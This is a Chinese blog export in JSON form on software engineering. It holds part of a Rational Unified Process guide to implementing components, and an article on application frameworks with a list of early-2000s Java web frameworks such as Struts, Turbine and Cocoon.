实施构件与修改构件在项目的配置管理环境中进行。实施员在为他们提供的专用开发工作区（请参见活动：创建开发工作区）中，按照工件：工作单所指定的内容开展工作。在该工作区中，创建源元素并将其置于配置管理之下，或者在通常的检出、编辑、构建、单元测试、检入周期中进行修改（请参见活动：进行变更）。完成某个构件集（根据一个或多个工作单的定义以及即将生成的工作版本要求）后，实施员将把有关新的和修改过的构件交付（请参见活动：交付变更内容）到子系统集成工作区，以便与其他实施员的工作进行集成。最后，实施员可以在方便的时候对专用开发工作区进行更新（或者重新调整基线），使该工作区与子系统集成工作区保持一致（请参见活动：更新工作区）。\n当实施类时，应遵循编程指南。\n实施的主要基础是具有公有操作、属性与关联关系的类。务必要注意，并不是所有公有操作、属性与关联关系都在设计过程中定义。\n实施的辅助基础是用例实现，用例实现显示了类和对象如何通过交互来执行用例。\n最好以递增的方式实施类；编译、链接和运行一些回归测试，每天进行三两次。\n在从零开始实施一个类之前，可考虑修改现有的实施类（一般可通过建立子类或进行实例化来修改）。\n实施操作 要实施操作，请执行以下步骤： 选择算法 选择适合算法的数据结构 根据需要定义新的类和操作 编写操作代码 选择算法\n许多操作都十分简单，可以从该操作及其规约中立即实施。\n之所以需要特殊算法，主要是为了实施定义了规约的复杂操作，并优化那些以简单但却低效的算法为定义的操作。\n选择适合算法的数据结构\n选择算法包括选择算法所基于的数据结构。许多实施数据结构是容器类，例如数组、列表、队列、栈、集合、无序单位组，以及这些类的各种不同形式。许多面向对象的语言和编程环境都提供了具有这些可复用构件的类库。\n根据需要定义新的类和操作\n比如，可以使用新类来保存中间结果，也可对类添加新的低级操作来分解复杂操作。通常，这些操作是类的私有操作，所以在类之外看不见这些操作。\n编写操作代码\n要编写操作的代码，可从接口语句开始，例如 C++ 中的成员函数声明、Ada 中的子程序规约或 Visual Basic 中的方法。请遵循编程指南。\n实施构件工作流程明细\n实施状态 对象的状态可通过引用其属性值来实施，而不必作特殊说明。这种对象的状态转移将隐含于变化的属性值中，而变化的行为通过条件语句来编程。 但对于复杂行为，该方法不能令人满意，因为它往往会导致复杂的结构；而当添加更多状态或当行为发生变化时，将很难更改这些结构。\n如果构件（或其组成部分）的行为随状态而定，则通常会有一个或多个状态图来说明组成该构件的模型元素的行为。这些状态图可用作实施过程中的重要输入。有关详细信息，请参见指南：状态图。 状态图中所示的状态机将表现对象的状态，并详尽说明状态转移及所需的行为。可以通过以下几种方法来实施状态机：\n对于简单的状态机，定义一项列举可能状态的属性，然后使用该属性在 Java 或 C++ 中的 switch 语句中选择进入消息的行为。但这种方法不太适用于复杂的状态机，它可能会导致运行时性能降低。如需此方法的示例，请参见 [DOUG98]，第 4 章 4.4.3 对于较复杂的状态机，可使用状态模式。有关状态模式的说明，请参见 [GAM94]。[DOUG98]，第 6 章 6.2.3 状态模式也说明了这种方法 表驱动法对于极复杂的状态机十分有效，其特点是易于变更。当使用这种方法时，各个状态在表中都有相应的条目，这些条目将输入映射到后继状态和相关的转移动作。如需此方法的示例，请参见 [DOUG98]，第 6 章 6.2.3 状态表模式。 要实施具有并行子状态的状态机，可以将状态管理委派给主动对象（每个对象都被委派一个并行子状态），因为并行子状态代表了独立的计算（但仍可能进行交互）。每个子状态均可通过上述方法之一来进行管理。\n通过委托关系复用实施 如果一个类或一个类的某些部分可通过复用现有类来实施，则应通过委托关系（而不要继承）来实现。\n委托表示一个类借助于其他类来得以实施。该类通过使用变量来引用其他类的对象。当调用某操作时，该操作将调用被引用对象（属于被复用的类）中的操作，以实际执行该操作。这样，它就将职责委派给了其他类。\n实施关联关系 单向关联关系将作为指针（包含对象引用的属性）来进行实施。如果多重性为一，则将单向关联关系当作简单指针来实施。如果多重性为多个，则将其当作指针集来实施。但如果\u0026ldquo;多\u0026rdquo;端是有序排列的，则可以使用列表，而不使用集合。\n双向关联关系将作为属性，使用单向关联关系的技术在两个方向上实施。\n限定关联关系将作为限定对象中的查询表（如一个 Smalltalk Dictionary 类）来实施。查询表中的选择器值是限定词，而目标值是另一个类的对象。\n如果必须按顺序访问限定词的值，就应将限定词组织成经过排序的数组或树。在这种情况下，访问时间将与 log N 成比例，其中 N 为限定词值的数目。\n如果限定词取自于一个紧凑的有限集，就可以将限定词的值映射到一个整数范围，并将关联关系当作数组来有效地进行实施。如果关联关系已基本上填满（而不是稀疏填充），此方法会更加有效；而对于完全填满的有限集，它可以算是理想的方法。\n许多面向对象的语言和编程环境都提供了具有可复用构件的类库，可用于实施不同种类的关联关系。\n实施属性 可以作为内置基本变量、可复用的构件类或定义一个新类来实现属性。定义新类通常是较为灵活的方法，但它却会带来不必要的间接性。例如，实施雇员的社会保障号时，既可将它作为类型\u0026ldquo;字符串\u0026rdquo;的属性，也可将它作为一个新类。\n属性的备选实施。\n另一种可能的情况是：属性组组成了新类，如下例所示。这两种实施都是正确的。\n将 Line 中的属性当作 Point 类的关联关系来实施。\n向设计提供反馈 在以上任何步骤中，如果发现了设计错误，都必须向设计提供返工反馈。如果所需的变更较小，就可以由同一个人来设计并实施类，而无需提出正式的变更请求。他可在设计中进行变更。\n如果所需的变更影响到几个类（例如在公有操作中的变更），则应向 CCB（变更控制委员会）提交正式的变更请求。请参见活动：修复缺陷。\n评估代码 在开始单元测试之前，可以先作一些检查。测试是一项花费较多的工作，因此最好先执行以下几项检查： 始终对代码进行编译。将编译器的警告等级设置到最详细的程度。 通过想像对操作进行检查。通读代码，尽可能考虑到所有情况，发现各种异常情况。一旦进行了新的实施活动，就需进行此项工作。 使用工具检查代码中是否存在错误。例如，使用静态代码规则检查程序。 \u0026copy; 1987 \u0026#8211; 2001 Rational Software Corporation。版权所有。 ","title":"再什么是构件"},{"content":"中科永联高级技术培训中心（www.itisedu.com）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;框架（Framework）是整个或部分系统的可重用设计，表现为一组抽象构件及构件实例间交互的方法;另一种定义认为，框架是可被应用开发者定制的应用骨架。前者是从应用方面而后者是从目的方面给出的定义。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 可以说，一个框架是一个可复用的设计构件，它规定了应用的体系结构，阐明了整个设计、协作构件之间的依赖关系、责任分配和控制流程，表现为一组抽象类以及其实例之间协作的方法，它为构件复用提供了上下文(Context)关系。因此构件库的大规模重用也需要框架。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构件领域框架方法在很大程度上借鉴了硬件技术发展的成就，它是构件技术、软件体系结构研究和应用软件开发三者发展结合的产物。在很多情况下，框架通常以构件库的形式出现，但构件库只是框架的一个重要部分。框架的关键还在于框架内对象间的交互模式和控制流模式。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架比构件可定制性强。在某种程度上，将构件和框架看成两个不同但彼此协作的技术或许更好。框架为构件提供重用的环境，为构件处理错误、交换数据及激活操作提供了标准的方法。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 应用框架的概念也很简单。它并不是包含构件应用程序的 小片程序，而是实现了某应用领域通用完备功能（除去特殊应用的部分）的底层服务。使用这种框架的编程人员可以在一个通用功能已经实现的基础上开始具体的系 统开发。框架提供了所有应用期望的默认行为的类集合。具体的应用通过重写子类(该子类属于框架的默认行为)或组装对象来支持应用专用的行为。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 应用框架强调的是软件的设计重用性和系统的可扩充性,以缩短大型应用软件系统的开发周期，提高开发质量。与传统的基于类库的面向对象重用技术比较，应用框架更注重于面向专业领域的软件重用。应用框架具有领域相关性，构件根据框架进行复合而生成可运行的系统。框架的粒度越大，其中包含的领域知识就更加完整。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架，即framework。其实就是某种应用的半成品，就是一组组件，供你选用完成你自己的系统。简单说就是使用别人搭好的舞台，你来做表演。而且，框架一般是成熟的，不断升级的软件。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架的概念最早起源于Smalltalk环境，其中最著名的框架是Smalltalk 80的用户界面框架MVC(Model -View-Controller)。随着用户界面框架Interviews [Linton 89]和ET++ [Weinand 89] 的开发和发布，框架研究越来越受到研究人员的重视。虽然框架研究最初起源于用户界面领域，但它还被成功地应用到其他领域中，如操作系统 [Russo 90]、火警系统 [Molin 96a，Molin 96b] 等。Taligent公司于1992年成立后，框架研究受到了广泛的重视。该公司计划基于框架来开发一个完整的面向对象操作系统。另外，该公司还发布了一 套支持快速应用开发的工具集CommonPoint，其中包括了上百个面向对象框架 [Andert 94,Cotter 95]。\n框架目前还没有统一的定义，其中Ralph Johnson所给出的定义基本上为大多数研究人员所接受： \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个框架是一个可复用设计，它是由一组抽象类及其实例间协作关系来表达的 [Johnson 98]。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这个定义是从框架内涵的角度来定义框架的，当然也可以从框架用途的角度来给出框架的定义：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个框架是在一个给定的问题领域内，一个应用程序的一部分设计与实现[Bosch 97]。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 从以上两个定义可以看出，框架是对特定应用领域中的应用系统的部分设计和实现，它定义了一类应用系统(或子系统)的整体结构。框架将应用系统划分为类和对象，定义类和对象的责任，类和对象如何互相协作，以及对象之间的控制线程。这些共有的设计因素由框架预先定义，应用开发人员只须关注于特定的应用系统特有部分。框架刻画了其应用领域所共有的设计决策，所以说框架着重于设计复用，尽管框架中可能包含用某种程序设计语言实现的具体类。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个基于框架开发的应用系统包含一个或多个框架，与框架相关的构件类，以及与应用系统相关的功能扩展。与应用系统相关的扩展包括与应用系统相关的类和对象。应用系统可能仅仅复用了面向对象框架的一部分，或者说，它可能需要对框架进行一些适应性修改，以满足系统需求。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 面向对象的框架作为一种可复用的软件，在基于框架的软件开发过程中会涉及到框架的开发和利用两个方面的工作。框架的开发阶段在于产生领域中可复用的设计。 该阶段的主要结果是框架以及与框架相关的构件类。该阶段的一个重要活动是框架的演变和维护。象所有软件一样，框架也易于变化。产生变化的原因很多，如应用 出错，业务领域变化，等等。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不论是哪一种技术，最终都是为业务发展而服务的。从业务的角度来讲。首先，框架的是为了企业的业务发展和战略规划而服务的，他服从于企业的愿景 （vision）；其次，框架最重要的目标是提高企业的竞争能力，包括降低成本、提高质量、改善客户满意程度，控制进度等方面。最后，框架实现这一目标的 方式是进行有效的知识积累。软件开发是一种知识活动，因此知识的聚集和积累是至关重要的。框架能够采用一种结构化的方式对某个特定的业务领域进行描述，也 就是将这个领域相关的技术以代码、文档、模型等方式固化下来。\n一、框架要解决的问题\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架要解决的最重要的一个问题是技术整合的问题，在J2EE的 框架中，有着各种各样的技术，不同的软件企业需要从J2EE中选择不同的技术，这就使得软件企业最终的应用依赖于这些技术，技术自身的复杂性和技术的风险 性将会直接对应用造成冲击。而应用是软件企业的核心，是竞争力的关键所在，因此应该将应用自身的设计和具体的实现技术解耦。这样，软件企业的研发将集中在 应用的设计上，而不是具体的技术实现，技术实现是应用的底层支撑，它不应该直接对应用产生影响。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 要理解这一点，我们来举一些例子：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个做视频流应用的软件企业，他为电广行业提供整体的解决方案。他的优势在于将各种各样的视频硬件、服务器、和管理结合起来，因此他扮演的是一个集成商的 角色。因此他的核心价值在于使用软件技术将不同的硬件整合起来，并在硬件的整合层面上提供一个统一的管理平台。所以他的精力应该放在解决两个问题：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如何找到一种方法，将不同的硬件整合起来，注意，这里的整合并不是技术整合，而是一种思路上的整合。首先要考虑的绝对不是要使用什么技术，而是这些硬件需 要提供哪些服务，需要以什么样的方式进行管理。因此，这时候做的事情实际上是对领域进行建模。例如，我们定义任何一种硬件都需要提供两种能力，一种是统一 的管理接口，用于对所有硬件统一管理；另一种是服务接口，系统平台可以查询硬件所能够提供的服务，并调用这些服务。所以，设计的规范将会针对两种能力进 行。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 另一个问题是如何描述这个管理系统的规范。你需要描述各种管理活动，以及管理中所涉及的不同实体。因为管理系统是针对硬件的管理，所以它是构架在硬件整合平台之上的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在完成业务层面的设计之后，我们再来看看具体的技术实现。光有规范和设计是不够的，我们还需要选择一个优秀的技术。由于是对不同硬件的整合，我们想到采用Java提供的JMX技术。JMX技术适合用来进行系统整合，它定义了一个通用的规范，并给出了远程管理端口的一些默认实现。JMX已经经过了实践的检验，不少的应用服务器都采用了以JMX为基础的结构，例如有名的JBoss。JMX已经是一个很好的开始了，但是我们还需要在JMX的基础上再做一些工作。\n二、什么要用框架？\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 因为软件系统发展到今天已经很复杂了，特别是服务器端软件，设计到的知识，内容，问题太多。在某些方面使用别人成熟的框架，就相当于让别人帮你完成一些基 础工作，你只需要集中精力完成系统的业务逻辑设计。而且框架一般是成熟，稳健的，他可以处理系统很多细节问题，比如，事物处理，安全性，数据流控制等问 题。还有框架一般都经过很多人使用，所以结构很好，所以扩展性也很好，而且它是不断升级的，你可以直接享受别人升级代码带来的好处。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架一般处在低层应用平台（如J2EE）和高层业务逻辑之间的中间层。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 软件为什么要分层？\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 为了实现\u0026ldquo;高内聚、低耦合\u0026rdquo;。把问题划分开来各个解决，易于控制，易于延展，易于分配资源\u0026hellip;总之好处很多啦：）。\n三、为什么要进行框架开发? \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架的最大好处就是重用。面向对象系统获得的最大的复用方式就是框架，一个大的应用系统往往可能由多层互相协作的框架组成。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 由于框架能重用代码，因此从一已有构件库中建立应用变得非常容易，因为构件都采用框架统一定义的接口，从而使构件间的通信简单。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架能重用设计。它提供可重用的抽象算法及高层设计，并能将大系统分解成更小的构件，而且能描述构件间的内部接口。这些标准接口使在已有的构件基础上通过 组装建立各种各样的系统成为可能。只要符合接口定义，新的构件就能插入框架中，构件设计者就能重用构架的设计。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架还能重用分析。所有的人员若按照框架的思想来分析事务，那么就能将它划分为同样的构件，采用相似的解决方法，从而使采用同一框架的分析人员之间能进行沟通。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 采用框架技术进行软件开发的主要特点包括： 领域内的软件结构一致性好； 建立更加开放的系统； 重用代码大大增加，软件生产效率和质量也得到了提高； 软件设计人员要专注于对领域的了解，使需求分析更充分； 存储了经验，可以让那些经验丰富的人员去设计框架和领域构件，而不必限于低层编程； 允许采用快速原型技术； 有利于在一个项目内多人协同工作； \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 大粒度的重用使得平均开发费用降低，开发速度加快，开发人员减少，维护费用降低，而参数化框架使得适应性、灵活性增强。 四、与框架相关的概念 1. 白盒与黑盒框架 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架可分为白盒(White-Box)与黑盒(Black-Box)两种框架。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 基于继承的框架被称为白盒框架。所谓白盒即具备可视性，被继承的父类的内部实现细节对子类 而言都是可知的。利用白盒框架的应用开发者通过衍生子类或重写父类的成员方法来开发系统。子类的实现很大程度上依赖于父类的实现，这种依赖性限制了重用的 灵活性和完全性。但解决这种局限性的方法可以是只继承抽象父类，因为抽象类基本上不提供具体的实现。白盒框架是一个程序骨架，而用户衍生出的子类是这个骨 架上的附属品。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 基于对象构件组装的框架就是黑盒框架。应用开发者通过整理、组装对象来获得系统的实现。用户只须了解构件的外部接口，无须了解内部的具体实现。另外，组装比继承更为灵活，它能动态地改变，继承只是一个静态编译时的概念。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在理想情况下，任何所需的功能都可通过组装已有的构件得到，事实上可获得的构件远远不能满足需求，有时通过继承获得新的构件比利用已有构件组装新构件更容 易，因此白盒和黑盒将同时应用于系统的开发中。不过白盒框架趋向于向黑盒框架发展，黑盒框架也是系统开发希望达到的理想目标。 2. 热点、食谱以及好莱坞原则 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 成功的框架开发需要确定领域专用的\u0026ldquo;热点\u0026rdquo; (Hot spot)。应用开发者在框架的基础上进行开发，只须扩展框架的某些部分，\u0026ldquo;热点\u0026rdquo;就是在应用领域的一种扩展槽，开发者根据自己的需要填充这些扩展槽。 \u0026ldquo;热点\u0026rdquo;使框架具有灵活性，如在具体的实现中，扩展槽可以被看成是一些抽象类，开发者通过重写抽象方法获得具体实现。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026ldquo;食谱\u0026rdquo; (Cookbook)就是描述如何使用框架方法的文档。在\u0026ldquo;食谱\u0026rdquo;中包含了许多\u0026ldquo;烹饪\u0026rdquo;方法，这些\u0026ldquo;烹饪\u0026rdquo;方法相当于一些具体的操作步骤，描述了为解决某一专门问题如何使用框架的详细方法。框架的内部设计和实现细节通常不出现在\u0026ldquo;食谱\u0026rdquo;中。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架的一个重要特征就是用户定义的方法经常被框架自身调用，而不是从用户的应用代码中调用。这种机制常称为\u0026ldquo;好莱坞原则\u0026rdquo;(Hollywood Principle)或\u0026ldquo;别调用我们，我们会调用您\u0026rdquo;。\n五、常见的JAVA框架有什么？\nWAF：\n全称：WEB APPLICATION FRAMEWORK\n主要应用方面：EJB层，（WEB层也有，但是比较弱）。\n主要应用技术：EJB等\n出处：java.sun.com/blueprints/code/index.html\u0026quot;\u0026gt;http://java.sun.com/blueprints/code/index.html\n简述：这是SUN在展示J2EE平台时所用的例子PetStore(宠物商店系统)里面的框架。是SUN蓝皮书例子程序中提出的应用框架。它实现了 MVC和其他良好的设计模式。SUN的网站上有技术资料，最好下载PetStore来研究，WEBLOGIC里自带此系统，源码在beaweblogic700samplesserversrcpetstore。这是学习了解J2EE的首选框架。\n免费。\nStruts:\n主要应用方面：WEB层。\n主要应用技术：JSP,TagLib,JavaBean,XML等\n出处：http://jakarta.apache.org/struts/index.html\n简述：这是APACHE的开源项目，目前应用很广泛。基于MVC模式，结构很好，基于JSP。Jbuilder8里已经集成了STRUTS1.02的制作。\n免费。\n简述WAF+STRUTS结合的例子：WEB层用STRUTS，EJB层用WAF：\nJSP(TagLib)\u0026mdash;\u0026mdash;\u0026gt;ActionForm\u0026mdash;\u0026mdash;\u0026gt;Action \u0026mdash;\u0026mdash;\u0026gt;\nEvent\u0026mdash;\u0026mdash;\u0026gt;EJBAction\u0026mdash;\u0026mdash;\u0026gt;EJB\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026mdash;\u0026mdash;\u0026gt;DAO\u0026mdash;\u0026mdash;\u0026gt;Database JSP（TagLib） (forward) \u0026lt;\u0026mdash;\u0026mdash;Action \u0026lt;\u0026mdash;\u0026mdash;EventResponse\u0026lt;\u0026mdash;\u0026mdash;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Turbine：\n主要应用方面：WEB层。\n主要应用技术：servlet等\n出处：http://jakarta.apache.org/turbine/index.html\n简述：这是APACHE的开源项目。基于SERVLET。据说速度比较快，基于service（pluggable implementation可插拔的执行组件）的方式提供各种服务。\n免费。\nCOCOON：\n主要应用方面：WEB层。\n主要应用技术：XML，XSP，servlet等\n出处：http://cocoon.apache.org/2.0/\n简述：这是APACHE的一个开源项目。基于XML，基于XSP（通俗地说，XSP是在XML静态文档中加入Java程序段后形成的动态XML文档。）。特点是可以与多种数据源交互，包括文件系统，数据库，LDAP，XML资源库，网络数据源等。\n免费。\nECHO：\n主要应用方面：WEB层。\n主要应用技术：servlet等\n出处：http://www.nextapp.com/products/echo/\n简述：nextapp公司的一个开源项目。基于SERVLET。页面可以做的很漂亮，结合echopoint，可以作出很多图形效果（里面用了jfreechart包）。使用SWING的思想来作网页，把HTML当作JAVA的类来做。但是大量使用Session，页面分帧（Frame）很多,系统资源消耗很大。\n免费。\nJATO：\n全称：SUN ONE Application Framework\n主要应用方面：WEB层。\n主要应用技术：JSP,TagLib,JavaBean等\n出处：http://www.sun.com/\n简述：这是SUN推出的一个商业性框架，一看名字就知道是结合SUN ONE的平台推出的。我下载了JATO2.0看了一下，感觉有些简单，使用了JSP＋TagLib+JavaBean。如他的DOC所说JATO是适合用在小的WEB应用里。\n免费。\nTCF：\n全称：Thin-Client Framework\n主要应用方面：JAVA GUI。\n主要应用技术：JAVA application等\n出处：http://www.alphaworks.ibm.com/tech/tcf\n简 述：这是IBM出的一个框架。基于MVC模式，基于JAVA Application。推荐一篇介绍文章：java/j-tcf1/index.shtml\u0026quot;\u0026gt;http://www- 900.ibm.com/developerWorks/cn/java/j-tcf1/index.shtml\n收费：每个企业对象license:2000美元。 ","permalink":"https://hessian.cn/p/400.html","summary":"中科永联高级技术培训中心（www.itisedu.com）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;框架（Framework）是整个或部分系统的可重用设计，表现为一组抽象构件及构件实例间交互的方法;另一种定义认为，框架是可被应用开发者定制的应用骨架。前者是从应用方面而后者是从目的方面给出的定义。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 可以说，一个框架是一个可复用的设计构件，它规定了应用的体系结构，阐明了整个设计、协作构件之间的依赖关系、责任分配和控制流程，表现为一组抽象类以及其实例之间协作的方法，它为构件复用提供了上下文(Context)关系。因此构件库的大规模重用也需要框架。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构件领域框架方法在很大程度上借鉴了硬件技术发展的成就，它是构件技术、软件体系结构研究和应用软件开发三者发展结合的产物。在很多情况下，框架通常以构件库的形式出现，但构件库只是框架的一个重要部分。框架的关键还在于框架内对象间的交互模式和控制流模式。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架比构件可定制性强。在某种程度上，将构件和框架看成两个不同但彼此协作的技术或许更好。框架为构件提供重用的环境，为构件处理错误、交换数据及激活操作提供了标准的方法。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 应用框架的概念也很简单。它并不是包含构件应用程序的 小片程序，而是实现了某应用领域通用完备功能（除去特殊应用的部分）的底层服务。使用这种框架的编程人员可以在一个通用功能已经实现的基础上开始具体的系 统开发。框架提供了所有应用期望的默认行为的类集合。具体的应用通过重写子类(该子类属于框架的默认行为)或组装对象来支持应用专用的行为。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 应用框架强调的是软件的设计重用性和系统的可扩充性,以缩短大型应用软件系统的开发周期，提高开发质量。与传统的基于类库的面向对象重用技术比较，应用框架更注重于面向专业领域的软件重用。应用框架具有领域相关性，构件根据框架进行复合而生成可运行的系统。框架的粒度越大，其中包含的领域知识就更加完整。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架，即framework。其实就是某种应用的半成品，就是一组组件，供你选用完成你自己的系统。简单说就是使用别人搭好的舞台，你来做表演。而且，框架一般是成熟的，不断升级的软件。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架的概念最早起源于Smalltalk环境，其中最著名的框架是Smalltalk 80的用户界面框架MVC(Model -View-Controller)。随着用户界面框架Interviews [Linton 89]和ET++ [Weinand 89] 的开发和发布，框架研究越来越受到研究人员的重视。虽然框架研究最初起源于用户界面领域，但它还被成功地应用到其他领域中，如操作系统 [Russo 90]、火警系统 [Molin 96a，Molin 96b] 等。Taligent公司于1992年成立后，框架研究受到了广泛的重视。该公司计划基于框架来开发一个完整的面向对象操作系统。另外，该公司还发布了一 套支持快速应用开发的工具集CommonPoint，其中包括了上百个面向对象框架 [Andert 94,Cotter 95]。\n框架目前还没有统一的定义，其中Ralph Johnson所给出的定义基本上为大多数研究人员所接受： \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个框架是一个可复用设计，它是由一组抽象类及其实例间协作关系来表达的 [Johnson 98]。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这个定义是从框架内涵的角度来定义框架的，当然也可以从框架用途的角度来给出框架的定义：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个框架是在一个给定的问题领域内，一个应用程序的一部分设计与实现[Bosch 97]。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 从以上两个定义可以看出，框架是对特定应用领域中的应用系统的部分设计和实现，它定义了一类应用系统(或子系统)的整体结构。框架将应用系统划分为类和对象，定义类和对象的责任，类和对象如何互相协作，以及对象之间的控制线程。这些共有的设计因素由框架预先定义，应用开发人员只须关注于特定的应用系统特有部分。框架刻画了其应用领域所共有的设计决策，所以说框架着重于设计复用，尽管框架中可能包含用某种程序设计语言实现的具体类。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个基于框架开发的应用系统包含一个或多个框架，与框架相关的构件类，以及与应用系统相关的功能扩展。与应用系统相关的扩展包括与应用系统相关的类和对象。应用系统可能仅仅复用了面向对象框架的一部分，或者说，它可能需要对框架进行一些适应性修改，以满足系统需求。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 面向对象的框架作为一种可复用的软件，在基于框架的软件开发过程中会涉及到框架的开发和利用两个方面的工作。框架的开发阶段在于产生领域中可复用的设计。 该阶段的主要结果是框架以及与框架相关的构件类。该阶段的一个重要活动是框架的演变和维护。象所有软件一样，框架也易于变化。产生变化的原因很多，如应用 出错，业务领域变化，等等。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不论是哪一种技术，最终都是为业务发展而服务的。从业务的角度来讲。首先，框架的是为了企业的业务发展和战略规划而服务的，他服从于企业的愿景 （vision）；其次，框架最重要的目标是提高企业的竞争能力，包括降低成本、提高质量、改善客户满意程度，控制进度等方面。最后，框架实现这一目标的 方式是进行有效的知识积累。软件开发是一种知识活动，因此知识的聚集和积累是至关重要的。框架能够采用一种结构化的方式对某个特定的业务领域进行描述，也 就是将这个领域相关的技术以代码、文档、模型等方式固化下来。\n一、框架要解决的问题\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架要解决的最重要的一个问题是技术整合的问题，在J2EE的 框架中，有着各种各样的技术，不同的软件企业需要从J2EE中选择不同的技术，这就使得软件企业最终的应用依赖于这些技术，技术自身的复杂性和技术的风险 性将会直接对应用造成冲击。而应用是软件企业的核心，是竞争力的关键所在，因此应该将应用自身的设计和具体的实现技术解耦。这样，软件企业的研发将集中在 应用的设计上，而不是具体的技术实现，技术实现是应用的底层支撑，它不应该直接对应用产生影响。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 要理解这一点，我们来举一些例子：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个做视频流应用的软件企业，他为电广行业提供整体的解决方案。他的优势在于将各种各样的视频硬件、服务器、和管理结合起来，因此他扮演的是一个集成商的 角色。因此他的核心价值在于使用软件技术将不同的硬件整合起来，并在硬件的整合层面上提供一个统一的管理平台。所以他的精力应该放在解决两个问题：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如何找到一种方法，将不同的硬件整合起来，注意，这里的整合并不是技术整合，而是一种思路上的整合。首先要考虑的绝对不是要使用什么技术，而是这些硬件需 